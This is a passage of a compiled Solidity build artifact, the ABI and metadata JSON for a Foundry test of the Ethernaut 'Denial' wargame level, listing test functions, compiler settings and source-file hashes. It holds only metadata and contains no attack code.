e\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Denial.t.sol\":\"TestDenial\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/DenialAttack.sol\":{\"keccak256\":\"0x13aeda8a95e2ca794fd8c3d8f0f575f01828fc05d43204e5bdf3615b4125072a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b2d8ecf2d298313822fa8bc875b6970444b2ebdc6c265c20dc736f8df10c959a\",\"dweb:/ipfs/QmdRcAYebAD8XSYcd3uq1dCTZYF2pM4JVXF73iz2c1y4kV\"]},\"src/levels/Denial.sol\":{\"keccak256\":\"0x53e7e264718d21a89f046473e5bb5c1330ab11c7a52f16d58dba10206b4d49c0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://79df26e13c2bdfcd90047dde5296762dbeff36177354ffee2ef6506db1bf27fd\",\"dweb:/ipfs/Qmb3dqmtRnxUjccbSa7EUuRg5MH9vdN9Hu8HTYRWhthtyM\"]},\"src/levels/DenialFactory.sol\":{\"keccak256\":\"0x5936a1053638582713a7aa983e372a4450dba9e6f406fe32915c6f71a0e93bb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://421f4c9b25ffba1d5b4b248f3e9bc311ab4ad60f39be76e11b1f26399bbd70c1\",\"dweb:/ipfs/QmctsRGST8ECUh8aXeQb9hig3xdEd67mX4jktCKyCALErn\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Denial.t.sol\":{\"keccak256\":\"0xea446aae29f79b0033e3c62a892e325d491837581fd5433cc2718faf1d74d857\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://908edd0b4b1ffc8725ceb9095a4275508efb1fdb8c533b34d6416b12c57d7fb8\",\"dweb:/ipfs/QmVNj1UWxyPvzDYiXXy2LAuHFPFYRLnUDNLNYHdh7Hscga\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"